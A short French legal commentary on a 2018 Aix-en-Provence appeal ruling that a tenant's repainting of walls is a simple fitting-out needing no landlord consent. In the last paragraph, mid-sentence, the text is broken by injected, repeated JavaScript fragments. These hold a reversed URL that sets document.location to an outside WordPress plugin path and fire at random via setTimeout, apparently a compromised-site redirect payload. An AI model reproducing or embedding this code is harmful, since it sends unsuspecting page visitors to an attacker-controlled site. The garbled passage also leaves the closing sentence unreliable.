Dans quelles conditions un locataire peut-il repeindre son logement ?
(Cour d’appel, Aix-en-Provence, 11e chambre A, 19 Avril 2018 – n° 16/19750) :
Dans un arrêt en date du 19 avril 2018, la Cour d’appel d’Aix-en-Provence a jugé que des travaux de peinture constituent un aménagement ne nécessitant pas l’accord du bailleur.
Dans cette affaire, le bailleur reproche au locataire d’avoir peint en rouge le mur de la chambre ainsi que la plinthe et la partie haute du placard coulissant, la porte de la chambre ainsi que son encadrement, la frise d’origine de la pièce principale et le revêtement intérieur de la porte à l’encadrement bois de la porte d’entrée, estimant que les couleurs choisies par le locataire, par leur excentricité et le fait qu’elles empêchent une habitabilité normale des lieux compte tenu de leur originalité, peuvent être considérées comme une transformation de la chose louée et comme telle, nécessitant l’accord du bailleur.
La Cour d’appel a estimé que
« Les travaux de transformation concernent ceux qui ont pour effet de modifier la configuration et la structure des lieux loués.
Tel n’est pas le cas de la modification de la couleur des peintures, qui constitue un simple aménagement en vue d’améliorer l’esthétique des locaux et qui n’affecte pas l’immeuble dans sa structure et n’a rien d’irréversible. »
- La question qu’il convient de se poser est celle de savoir quelle aurait été la position de la Cour d’appel si la toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totalité du logement avait été repeinte, le critère étant de savoir si le logement est ou non relouable.